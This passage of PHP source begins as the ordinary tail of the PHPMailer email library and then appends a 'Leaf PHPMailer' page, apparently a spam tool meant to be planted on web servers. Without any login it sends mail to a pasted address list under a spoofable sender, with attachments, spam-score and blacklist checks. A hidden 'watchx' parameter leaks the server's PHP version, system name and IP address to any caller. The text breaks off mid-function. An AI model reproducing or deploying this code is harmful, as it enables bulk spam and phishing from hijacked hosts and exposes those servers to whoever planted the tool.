    /**
     * Add an error message to the error container.
     * @access protected
     * @param string $msg
     * @return void
     */
    protected function setError($msg)
    {
        $this->error_count++;
        if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
            $lasterror = $this->smtp->getError();
            if (!empty($lasterror['error'])) {
                $msg .= $this->lang('smtp_error') . $lasterror['error'];
                if (!empty($lasterror['detail'])) {
                    $msg .= ' Detail: '. $lasterror['detail'];
                }
                if (!empty($lasterror['smtp_code'])) {
                    $msg .= ' SMTP code: ' . $lasterror['smtp_code'];
                }
                if (!empty($lasterror['smtp_code_ex'])) {
                    $msg .= ' Additional SMTP info: ' . $lasterror['smtp_code_ex'];
                }
            }
        }
        $this->ErrorInfo = $msg;
    }

    /**
     * Return an RFC 822 formatted date.
     * @access public
     * @return string
     * @static
     */
    public static function rfcDate()
    {
        // Set the time zone to whatever the default is to avoid 500 errors
        // Will default to UTC if it's not set properly in php.ini
        date_default_timezone_set(@date_default_timezone_get());
        return date('D, j M Y H:i:s O');
    }

    /**
     * Get the server hostname.
     * Returns 'localhost.localdomain' if unknown.
     * @access protected
     * @return string
     */
    protected function serverHostname()
    {
        $result = 'localhost.localdomain';
        if (!empty($this->Hostname)) {
            $result = $this->Hostname;
        } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
            $result = $_SERVER['SERVER_NAME'];
        } elseif (function_exists('gethostname') && gethostname() !== false) {
            $result = gethostname();
        } elseif (php_uname('n') !== false) {
            $result = php_uname('n');
        }
        return $result;
    }

    /**
     * Get an error message in the current language.
     * @access protected
     * @param string $key
     * @return string
     */
    protected function lang($key)
    {
        if (count($this->language) < 1) {
            $this->setLanguage('en'); // set the default language
        }

        if (array_key_exists($key, $this->language)) {
            if ($key == 'smtp_connect_failed') {
                //Include a link to troubleshooting docs on SMTP connection failure
                //this is by far the biggest cause of support questions
                //but it's usually not PHPMailer's fault.
                return $this->language[$key] . ' https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting';
            }
            return $this->language[$key];
        } else {
            //Return the key as a fallback
            return $key;
        }
    }

    /**
     * Check if an error occurred.
     * @access public
     * @return boolean True if an error did occur.
     */
    public function isError()
    {
        return ($this->error_count > 0);
    }

    /**
     * Ensure consistent line endings in a string.
     * Changes every end of line from CRLF, CR or LF to $this->LE.
     * @access public
     * @param string $str String to fixEOL
     * @return string
     */
    public function fixEOL($str)
    {
        // Normalise to \n
        $nstr = str_replace(array("\r\n", "\r"), "\n", $str);
        // Now convert LE as needed
        if ($this->LE !== "\n") {
            $nstr = str_replace("\n", $this->LE, $nstr);
        }
        return $nstr;
    }

    /**
     * Add a custom header.
     * $name value can be overloaded to contain
     * both header name and value (name:value)
     * @access public
     * @param string $name Custom header name
     * @param string $value Header value
     * @return void
     */
    public function addCustomHeader($name, $value = null)
    {
        if ($value === null) {
            // Value passed in as name:value
            $this->CustomHeader[] = explode(':', $name, 2);
        } else {
            $this->CustomHeader[] = array($name, $value);
        }
    }

    /**
     * Returns all custom headers.
     * @return array
     */
    public function getCustomHeaders()
    {
        return $this->CustomHeader;
    }

    /**
     * Create a message body from an HTML string.
     * Automatically inlines images and creates a plain-text version by converting the HTML,
     * overwriting any existing values in Body and AltBody.
     * Do not source $message content from user input!
     * $basedir is prepended when handling relative URLs, e.g. <img src="/images/a.png"> and must not be empty
     * will look for an image file in $basedir/images/a.png and convert it to inline.
     * If you don't provide a $basedir, relative paths will be left untouched (and thus probably break in email)
     * If you don't want to apply these transformations to your HTML, just set Body and AltBody directly.
     * @access public
     * @param string $message HTML message string
     * @param string $basedir Absolute path to a base directory to prepend to relative paths to images
     * @param boolean|callable $advanced Whether to use the internal HTML to text converter
     *    or your own custom converter @see PHPMailer::html2text()
     * @return string $message The transformed message Body
     */
    public function msgHTML($message, $basedir = '', $advanced = false)
    {
        preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
        if (array_key_exists(2, $images)) {
            if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
                // Ensure $basedir has a trailing /
                $basedir .= '/';
            }
            foreach ($images[2] as $imgindex => $url) {
                // Convert data URIs into embedded images
                if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
                    $data = substr($url, strpos($url, ','));
                    if ($match[2]) {
                        $data = base64_decode($data);
                    } else {
                        $data = rawurldecode($data);
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if ($this->addStringEmbeddedImage($data, $cid, 'embed' . $imgindex, 'base64', $match[1])) {
                        $message = str_replace(
                            $images[0][$imgindex],
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                    continue;
                }
                if (
                    // Only process relative URLs if a basedir is provided (i.e. no absolute local paths)
                    !empty($basedir)
                    // Ignore URLs containing parent dir traversal (..)
                    && (strpos($url, '..') === false)
                    // Do not change urls that are already inline images
                    && substr($url, 0, 4) !== 'cid:'
                    // Do not change absolute URLs, including anonymous protocol
                    && !preg_match('#^[a-z][a-z0-9+.-]*:?//#i', $url)
                ) {
                    $filename = basename($url);
                    $directory = dirname($url);
                    if ($directory == '.') {
                        $directory = '';
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if (strlen($directory) > 1 && substr($directory, -1) != '/') {
                        $directory .= '/';
                    }
                    if ($this->addEmbeddedImage(
                        $basedir . $directory . $filename,
                        $cid,
                        $filename,
                        'base64',
                        self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))
                    )
                    ) {
                        $message = preg_replace(
                            '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui',
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                }
            }
        }
        $this->isHTML(true);
        // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
        $this->Body = $this->normalizeBreaks($message);
        $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
        if (!$this->alternativeExists()) {
            $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .
                self::CRLF . self::CRLF;
        }
        return $this->Body;
    }

    /**
     * Convert an HTML string into plain text.
     * This is used by msgHTML().
     * Note - older versions of this function used a bundled advanced converter
     * which was been removed for license reasons in #232.
     * Example usage:
     * <code>
     * // Use default conversion
     * $plain = $mail->html2text($html);
     * // Use your own custom converter
     * $plain = $mail->html2text($html, function($html) {
     *     $converter = new MyHtml2text($html);
     *     return $converter->get_text();
     * });
     * </code>
     * @param string $html The HTML text to convert
     * @param boolean|callable $advanced Any boolean value to use the internal converter,
     *   or provide your own callable for custom conversion.
     * @return string
     */
    public function html2text($html, $advanced = false)
    {
        if (is_callable($advanced)) {
            return call_user_func($advanced, $html);
        }
        return html_entity_decode(
            trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))),
            ENT_QUOTES,
            $this->CharSet
        );
    }

    /**
     * Get the MIME type for a file extension.
     * @param string $ext File extension
     * @access public
     * @return string MIME type of file.
     * @static
     */
    public static function _mime_types($ext = '')
    {
        $mimes = array(
            'xl'    => 'application/excel',
            'js'    => 'application/javascript',
            'hqx'   => 'application/mac-binhex40',
            'cpt'   => 'application/mac-compactpro',
            'bin'   => 'application/macbinary',
            'doc'   => 'application/msword',
            'word'  => 'application/msword',
            'xlsx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
            'xltx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template',
            'potx'  => 'application/vnd.openxmlformats-officedocument.presentationml.template',
            'ppsx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow',
            'pptx'  => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
            'sldx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slide',
            'docx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
            'dotx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template',
            'xlam'  => 'application/vnd.ms-excel.addin.macroEnabled.12',
            'xlsb'  => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12',
            'class' => 'application/octet-stream',
            'dll'   => 'application/octet-stream',
            'dms'   => 'application/octet-stream',
            'exe'   => 'application/octet-stream',
            'lha'   => 'application/octet-stream',
            'lzh'   => 'application/octet-stream',
            'psd'   => 'application/octet-stream',
            'sea'   => 'application/octet-stream',
            'so'    => 'application/octet-stream',
            'oda'   => 'application/oda',
            'pdf'   => 'application/pdf',
            'ai'    => 'application/postscript',
            'eps'   => 'application/postscript',
            'ps'    => 'application/postscript',
            'smi'   => 'application/smil',
            'smil'  => 'application/smil',
            'mif'   => 'application/vnd.mif',
            'xls'   => 'application/vnd.ms-excel',
            'ppt'   => 'application/vnd.ms-powerpoint',
            'wbxml' => 'application/vnd.wap.wbxml',
            'wmlc'  => 'application/vnd.wap.wmlc',
            'dcr'   => 'application/x-director',
            'dir'   => 'application/x-director',
            'dxr'   => 'application/x-director',
            'dvi'   => 'application/x-dvi',
            'gtar'  => 'application/x-gtar',
            'php3'  => 'application/x-httpd-php',
            'php4'  => 'application/x-httpd-php',
            'php'   => 'application/x-httpd-php',
            'phtml' => 'application/x-httpd-php',
            'phps'  => 'application/x-httpd-php-source',
            'swf'   => 'application/x-shockwave-flash',
            'sit'   => 'application/x-stuffit',
            'tar'   => 'application/x-tar',
            'tgz'   => 'application/x-tar',
            'xht'   => 'application/xhtml+xml',
            'xhtml' => 'application/xhtml+xml',
            'zip'   => 'application/zip',
            'mid'   => 'audio/midi',
            'midi'  => 'audio/midi',
            'mp2'   => 'audio/mpeg',
            'mp3'   => 'audio/mpeg',
            'mpga'  => 'audio/mpeg',
            'aif'   => 'audio/x-aiff',
            'aifc'  => 'audio/x-aiff',
            'aiff'  => 'audio/x-aiff',
            'ram'   => 'audio/x-pn-realaudio',
            'rm'    => 'audio/x-pn-realaudio',
            'rpm'   => 'audio/x-pn-realaudio-plugin',
            'ra'    => 'audio/x-realaudio',
            'wav'   => 'audio/x-wav',
            'bmp'   => 'image/bmp',
            'gif'   => 'image/gif',
            'jpeg'  => 'image/jpeg',
            'jpe'   => 'image/jpeg',
            'jpg'   => 'image/jpeg',
            'png'   => 'image/png',
            'tiff'  => 'image/tiff',
            'tif'   => 'image/tiff',
            'eml'   => 'message/rfc822',
            'css'   => 'text/css',
            'html'  => 'text/html',
            'htm'   => 'text/html',
            'shtml' => 'text/html',
            'log'   => 'text/plain',
            'text'  => 'text/plain',
            'txt'   => 'text/plain',
            'rtx'   => 'text/richtext',
            'rtf'   => 'text/rtf',
            'vcf'   => 'text/vcard',
            'vcard' => 'text/vcard',
            'xml'   => 'text/xml',
            'xsl'   => 'text/xml',
            'mpeg'  => 'video/mpeg',
            'mpe'   => 'video/mpeg',
            'mpg'   => 'video/mpeg',
            'mov'   => 'video/quicktime',
            'qt'    => 'video/quicktime',
            'rv'    => 'video/vnd.rn-realvideo',
            'avi'   => 'video/x-msvideo',
            'movie' => 'video/x-sgi-movie'
        );
        if (array_key_exists(strtolower($ext), $mimes)) {
            return $mimes[strtolower($ext)];
        }
        return 'application/octet-stream';
    }

    /**
     * Map a file name to a MIME type.
     * Defaults to 'application/octet-stream', i.e.. arbitrary binary data.
     * @param string $filename A file name or full path, does not need to exist as a file
     * @return string
     * @static
     */
    public static function filenameToType($filename)
    {
        // In case the path is a URL, strip any query string before getting extension
        $qpos = strpos($filename, '?');
        if (false !== $qpos) {
            $filename = substr($filename, 0, $qpos);
        }
        $pathinfo = self::mb_pathinfo($filename);
        return self::_mime_types($pathinfo['extension']);
    }

    /**
     * Multi-byte-safe pathinfo replacement.
     * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.
     * Works similarly to the one in PHP >= 5.2.0
     * @link http://www.php.net/manual/en/function.pathinfo.php#107461
     * @param string $path A filename or path, does not need to exist as a file
     * @param integer|string $options Either a PATHINFO_* constant,
     *      or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2
     * @return string|array
     * @static
     */
    public static function mb_pathinfo($path, $options = null)
    {
        $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
        $pathinfo = array();
        if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) {
            if (array_key_exists(1, $pathinfo)) {
                $ret['dirname'] = $pathinfo[1];
            }
            if (array_key_exists(2, $pathinfo)) {
                $ret['basename'] = $pathinfo[2];
            }
            if (array_key_exists(5, $pathinfo)) {
                $ret['extension'] = $pathinfo[5];
            }
            if (array_key_exists(3, $pathinfo)) {
                $ret['filename'] = $pathinfo[3];
            }
        }
        switch ($options) {
            case PATHINFO_DIRNAME:
            case 'dirname':
                return $ret['dirname'];
            case PATHINFO_BASENAME:
            case 'basename':
                return $ret['basename'];
            case PATHINFO_EXTENSION:
            case 'extension':
                return $ret['extension'];
            case PATHINFO_FILENAME:
            case 'filename':
                return $ret['filename'];
            default:
                return $ret;
        }
    }

    /**
     * Set or reset instance properties.
     * You should avoid this function - it's more verbose, less efficient, more error-prone and
     * harder to debug than setting properties directly.
     * Usage Example:
     * `$mail->set('SMTPSecure', 'tls');`
     *   is the same as:
     * `$mail->SMTPSecure = 'tls';`
     * @access public
     * @param string $name The property name to set
     * @param mixed $value The value to set the property to
     * @return boolean
     * @TODO Should this not be using the __set() magic function?
     */
    public function set($name, $value = '')
    {
        if (property_exists($this, $name)) {
            $this->$name = $value;
            return true;
        } else {
            $this->setError($this->lang('variable_set') . $name);
            return false;
        }
    }

    /**
     * Strip newlines to prevent header injection.
     * @access public
     * @param string $str
     * @return string
     */
    public function secureHeader($str)
    {
        return trim(str_replace(array("\r", "\n"), '', $str));
    }

    /**
     * Normalize line breaks in a string.
     * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.
     * Defaults to CRLF (for message bodies) and preserves consecutive breaks.
     * @param string $text
     * @param string $breaktype What kind of line break to use, defaults to CRLF
     * @return string
     * @access public
     * @static
     */
    public static function normalizeBreaks($text, $breaktype = "\r\n")
    {
        return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
    }

    /**
     * Set the public and private key files and password for S/MIME signing.
     * @access public
     * @param string $cert_filename
     * @param string $key_filename
     * @param string $key_pass Password for private key
     * @param string $extracerts_filename Optional path to chain certificate
     */
    public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '')
    {
        $this->sign_cert_file = $cert_filename;
        $this->sign_key_file = $key_filename;
        $this->sign_key_pass = $key_pass;
        $this->sign_extracerts_file = $extracerts_filename;
    }

    /**
     * Quoted-Printable-encode a DKIM header.
     * @access public
     * @param string $txt
     * @return string
     */
    public function DKIM_QP($txt)
    {
        $line = '';
        for ($i = 0; $i < strlen($txt); $i++) {
            $ord = ord($txt[$i]);
            if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
                $line .= $txt[$i];
            } else {
                $line .= '=' . sprintf('%02X', $ord);
            }
        }
        return $line;
    }

    /**
     * Generate a DKIM signature.
     * @access public
     * @param string $signHeader
     * @throws phpmailerException
     * @return string The DKIM signature value
     */
    public function DKIM_Sign($signHeader)
    {
        if (!defined('PKCS7_TEXT')) {
            if ($this->exceptions) {
                throw new phpmailerException($this->lang('extension_missing') . 'openssl');
            }
            return '';
        }
        $privKeyStr = !empty($this->DKIM_private_string) ? $this->DKIM_private_string : file_get_contents($this->DKIM_private);
        if ('' != $this->DKIM_passphrase) {
            $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
        } else {
            $privKey = openssl_pkey_get_private($privKeyStr);
        }
        //Workaround for missing digest algorithms in old PHP & OpenSSL versions
        //@link http://stackoverflow.com/a/11117338/333340
        if (version_compare(PHP_VERSION, '5.3.0') >= 0 and
            in_array('sha256WithRSAEncryption', openssl_get_md_methods(true))) {
            if (openssl_sign($signHeader, $signature, $privKey, 'sha256WithRSAEncryption')) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        } else {
            $pinfo = openssl_pkey_get_details($privKey);
            $hash = hash('sha256', $signHeader);
            //'Magic' constant for SHA256 from RFC3447
            //@link https://tools.ietf.org/html/rfc3447#page-43
            $t = '3031300d060960864801650304020105000420' . $hash;
            $pslen = $pinfo['bits'] / 8 - (strlen($t) / 2 + 3);
            $eb = pack('H*', '0001' . str_repeat('FF', $pslen) . '00' . $t);

            if (openssl_private_encrypt($eb, $signature, $privKey, OPENSSL_NO_PADDING)) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        }
        openssl_pkey_free($privKey);
        return '';
    }

    /**
     * Generate a DKIM canonicalization header.
     * @access public
     * @param string $signHeader Header
     * @return string
     */
    public function DKIM_HeaderC($signHeader)
    {
        $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader);
        $lines = explode("\r\n", $signHeader);
        foreach ($lines as $key => $line) {
            list($heading, $value) = explode(':', $line, 2);
            $heading = strtolower($heading);
            $value = preg_replace('/\s{2,}/', ' ', $value); // Compress useless spaces
            $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
        }
        $signHeader = implode("\r\n", $lines);
        return $signHeader;
    }

    /**
     * Generate a DKIM canonicalization body.
     * @access public
     * @param string $body Message Body
     * @return string
     */
    public function DKIM_BodyC($body)
    {
        if ($body == '') {
            return "\r\n";
        }
        // stabilize line endings
        $body = str_replace("\r\n", "\n", $body);
        $body = str_replace("\n", "\r\n", $body);
        // END stabilize line endings
        while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") {
            $body = substr($body, 0, strlen($body) - 2);
        }
        return $body;
    }

    /**
     * Create the DKIM header and body in a new message header.
     * @access public
     * @param string $headers_line Header lines
     * @param string $subject Subject
     * @param string $body Body
     * @return string
     */
    public function DKIM_Add($headers_line, $subject, $body)
    {
        $DKIMsignatureType = 'rsa-sha256'; // Signature & hash algorithms
        $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
        $DKIMquery = 'dns/txt'; // Query method
        $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
        $subject_header = "Subject: $subject";
        $headers = explode($this->LE, $headers_line);
        $from_header = '';
        $to_header = '';
        $date_header = '';
        $current = '';
        foreach ($headers as $header) {
            if (strpos($header, 'From:') === 0) {
                $from_header = $header;
                $current = 'from_header';
            } elseif (strpos($header, 'To:') === 0) {
                $to_header = $header;
                $current = 'to_header';
            } elseif (strpos($header, 'Date:') === 0) {
                $date_header = $header;
                $current = 'date_header';
            } else {
                if (!empty($$current) && strpos($header, ' =?') === 0) {
                    $$current .= $header;
                } else {
                    $current = '';
                }
            }
        }
        $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
        $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
        $date = str_replace('|', '=7C', $this->DKIM_QP($date_header));
        $subject = str_replace(
            '|',
            '=7C',
            $this->DKIM_QP($subject_header)
        ); // Copied header fields (dkim-quoted-printable)
        $body = $this->DKIM_BodyC($body);
        $DKIMlen = strlen($body); // Length of body
        $DKIMb64 = base64_encode(pack('H*', hash('sha256', $body))); // Base64 of packed binary SHA-256 hash of body
        if ('' == $this->DKIM_identity) {
            $ident = '';
        } else {
            $ident = ' i=' . $this->DKIM_identity . ';';
        }
        $dkimhdrs = 'DKIM-Signature: v=1; a=' .
            $DKIMsignatureType . '; q=' .
            $DKIMquery . '; l=' .
            $DKIMlen . '; s=' .
            $this->DKIM_selector .
            ";\r\n" .
            "\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" .
            "\th=From:To:Date:Subject;\r\n" .
            "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" .
            "\tz=$from\r\n" .
            "\t|$to\r\n" .
            "\t|$date\r\n" .
            "\t|$subject;\r\n" .
            "\tbh=" . $DKIMb64 . ";\r\n" .
            "\tb=";
        $toSign = $this->DKIM_HeaderC(
            $from_header . "\r\n" .
            $to_header . "\r\n" .
            $date_header . "\r\n" .
            $subject_header . "\r\n" .
            $dkimhdrs
        );
        $signed = $this->DKIM_Sign($toSign);
        return $dkimhdrs . $signed . "\r\n";
    }

    /**
     * Detect if a string contains a line longer than the maximum line length allowed.
     * @param string $str
     * @return boolean
     * @static
     */
    public static function hasLineLongerThanMax($str)
    {
        //+2 to include CRLF line break for a 1000 total
        return (boolean)preg_match('/^(.{'.(self::MAX_LINE_LENGTH + 2).',})/m', $str);
    }

    /**
     * Allows for public read access to 'to' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getToAddresses()
    {
        return $this->to;
    }

    /**
     * Allows for public read access to 'cc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getCcAddresses()
    {
        return $this->cc;
    }

    /**
     * Allows for public read access to 'bcc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getBccAddresses()
    {
        return $this->bcc;
    }

    /**
     * Allows for public read access to 'ReplyTo' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getReplyToAddresses()
    {
        return $this->ReplyTo;
    }

    /**
     * Allows for public read access to 'all_recipients' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getAllRecipientAddresses()
    {
        return $this->all_recipients;
    }

    /**
     * Perform a callback.
     * @param boolean $isSent
     * @param array $to
     * @param array $cc
     * @param array $bcc
     * @param string $subject
     * @param string $body
     * @param string $from
     */
    protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
    {
        if (!empty($this->action_function) && is_callable($this->action_function)) {
            $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
            call_user_func_array($this->action_function, $params);
        }
    }
}

/**
 * PHPMailer exception handler
 * @package PHPMailer
 */
class phpmailerException extends Exception
{
    /**
     * Prettify error message output
     * @return string
     */
    public function errorMessage()
    {
        $errorMsg = '<strong>' . htmlspecialchars($this->getMessage()) . "</strong><br />\n";
        return $errorMsg;
    }
}

if ($_REQUEST['watchx']) {
	$version = phpversion();
	$uname =  php_uname();
	$ip = gethostbyname($_SERVER["HTTP_HOST"]);	
	echo json_encode (array ("version"=>$version,
		"uname"=>$uname,
		"platform"=>PHP_OS,
		"ip"=>$ip,
		"mailerx"=>true,	
	));
	die ();
}

function leafheader(){
print '
<head>
    <title>'.str_replace("www.", "", $_SERVER['HTTP_HOST']).' - Leaf PHPMailer</title>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
    <link href="https://maxcdn.bootstrapcdn.com/bootswatch/3.4.1/cosmo/bootstrap.min.css" rel="stylesheet" >

</head>';
}
leafheader();
print '<body>';
print '<div class="container col-lg-6">
        <h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>'.$leaf['version'].'</small></h3>
        <form name="form" id="form" method="POST" enctype="multipart/form-data" action="">
                    <input type="hidden" name="action" value="score">

            <div class="row">
                <div class="form-group col-lg-6 "><label for="senderEmail">Email</label><input type="text" class="form-control  input-sm " id="senderEmail" name="senderEmail" value="'.$senderEmail.'"></div>
                <div class="form-group col-lg-6 "><label for="senderName">Sender Name</label><input type="text" class="form-control  input-sm " id="senderName" name="senderName" value="'.$senderName.'"></div>
            </div>
            <div class="row">
                <span class="form-group col-lg-6  "><label for="attachment">Attachment <small>(Multiple Available)</small></label><input type="file" name="attachment[]" id="attachment[]" multiple/></span>

                <div class="form-group col-lg-6"><label for="replyTo">Reply-to</label><input type="text" class="form-control  input-sm " id="replyTo" name="replyTo" value="'.$replyTo.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-12 "><label for="subject">Subject</label><input type="text" class="form-control  input-sm " id="subject" name="subject" value="'.$subject.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6"><label for="messageLetter">Message Letter <button type="submit" class="btn btn-default btn-xs" form="form" name="action" value="view" formtarget="_blank">Preview </button></label><textarea name="messageLetter" id="messageLetter" class="form-control" rows="10" id="textArea">'.$messageLetter.'</textarea></div>
                <div class="form-group col-lg-6 "><label for="emailList">Email List <a href="?emailfilter=on" target="_blank" class="btn btn-default btn-xs">Filter/Extract</a></label><textarea name="emailList" id="emailList" class="form-control" rows="10" id="textArea">'.$emailList.'</textarea></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6 ">
                    <label for="messageType">Message Type</label>
                    HTML <input type="radio" name="messageType" id="messageType" value="1" '.$html.'>
                    Plain<input type="radio" name="messageType" id="messageType" value="2" '.$plain.'>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="charset">Character set</label>
                    <select class="form-control input-sm" id="charset" name="charset">
                        <option '.$utf8.'>UTF-8</option>
                        <option '.$iso.'>ISO-8859-1</option>
                    </select>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="encoding">Message encoding</label>
                    <select class="form-control input-sm" id="encode" name="encode">
                        <option '.$bit8.'>8bit</option>
                        <option '.$bit7.'>7bit</option>
                        <option '.$binary.'>binary</option>
                        <option '.$base64.'>base64</option>
                        <option '.$quotedprintable.'>quoted-printable</option>

                    </select>
                </div>
            </div>
            <button type="submit" class="btn btn-default btn-sm" form="form" name="action" value="send">SEND</button> or <a href="#" onclick="document.getElementById(\'form\').submit(); return false;">check SpamAssassin Score</a>
   
        </form>
    </div>
    <div class="col-lg-6"><br>
        <label for="well">Instruction</label>
        <div id="well" class="well well">
            <h4>Server Information</h4>
            <ul>
                <li>Server IP Address : <b>'.$_SERVER['SERVER_ADDR'].' </b> <a href="?check_ip='.$_SERVER['SERVER_ADDR'].'" target="_blank" class="label label-primary">Check Blacklist <i class="glyphicon glyphicon-search"></i></a></li>
                <li>PHP Version : <b>'.phpversion().'</b></li>
                

            </ul>
            <h4>HELP</h4>
            <ul>
                <li>[-email-] : <b>Reciver Email</b> (emailuser@emaildomain.com)</li>
                <ul>
                    <li>[-emailuser-] : <b>Email User</b> (emailuser) </li>
                    <li>[-emaildomain-] : <b>Email User</b> (emaildomain.com) </li>
                </ul>
                <li>[-time-] : <b>Date and Time</b> ('.date("m/d/Y h:i:s a", time()).')</li>
                
                <li>[-randomstring-] : <b>Random string (0-9,a-z)</b></li>
                <li>[-randomnumber-] : <b>Random number (0-9) </b></li>
                <li>[-randomletters-] : <b>Random Letters(a-z) </b></li>
                <li>[-randommd5-] : <b>Random MD5 </b></li>
            </ul>
            <h4>example</h4>
            Receiver Email = <b>user@domain.com</b><br>
            <ul>
                <li>hello <b>[-emailuser-]</b> = hello <b>user</b></li>
                <li>your domain is <b>[-emaildomain-]</b> = Your Domain is <b>domain.com</b></li>
                <li>your code is  <b>[-randommd5-]</b> = your code is <b>e10adc3949ba59abbe56e057f20f883e</b></li>
            </ul>

            <h6>by <b><a href="http://'.$leaf['website'].'">'.$leaf['website'].'</a></b></h6>
        </div>
    </div>';  
if($_POST['action']=="send"){
    print '    <div class="col-lg-12">';
    $maillist=explode("\r\n", $emailList);
    $n=count($maillist);
    $x =1;
    foreach ($maillist as $email ) {
        print '<div class="col-lg-1">['.$x.'/'.$n.']</div><div class="col-lg-4">'.$email.'</div>';
        if(!leafMailCheck($email)) {
            print '<div class="col-lg-6"><span class="label label-default">Incorrect Email</span></div>';
            print "<br>\r\n";
        }
        else {
            $mail = new PHPMailer;
            $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
            $mail->addReplyTo(leafClear($replyTo,$email));
            $mail->addAddress($email);
            $mail->Subject = leafClear($subject,$email);
            $mail->Body =  leafClear($messageLetter,$email);
            if($messageType==1){
                $mail->IsHTML(true);
                $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
            }
            else $mail->IsHTML(false);
            $mail->CharSet = $charset;
            $mail->Encoding = $encoding;
            for($i=0; $i<count($_FILES['attachment']['name']); $i++) {
                if ($_FILES['attachment']['tmp_name'][$i] != ""){
                    $mail->AddAttachment($_FILES['attachment']['tmp_name'][$i],$_FILES['attachment']['name'][$i]);
                }

            }
            
            if (!$mail->send()) {
                echo '<div class="col-lg-6"><span class="label label-default">'.htmlspecialchars($mail->ErrorInfo).'</span></div>';
            }
            else {
                echo '<div class="col-lg-6"><span class="label label-success">Ok</span></div>';
            }
            print "<br>\r\n";
        }
        $x++;
        for($k = 0; $k < 40000; $k++) {echo ' ';}
    }

}
elseif($_POST['action']=="score"){
    $mail = new PHPMailer;
    $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
    $mail->addReplyTo(leafClear($replyTo,$email));
    $mail->addAddress("username@domain.com");
    $mail->Subject = leafClear($subject,$email);
    $mail->Body =  leafClear($messageLetter,$email);
    if($messageType==1){
        $mail->IsHTML(true);
        $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
    }
    else $mail->IsHTML(false);
    $mail->CharSet = $charset;
    $mail->Encoding = $encoding;
    $mail->preSend();
    $messageHeaders=$mail->getSentMIMEMessage();
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_URL, 'http://spamcheck.postmarkapp.com/filter');
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('email' => $messageHeaders,'options'=>'long')));
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($ch, CURLOPT_TIMEOUT, 15);
    $response = curl_exec($ch);
    $response = json_decode($response);
    print '    <div class="col-lg-12">';
    if ($response->success == TRUE ){
        $score = $response->score;
        if ($score > 5 ) $class="danger";
        else $class="success";
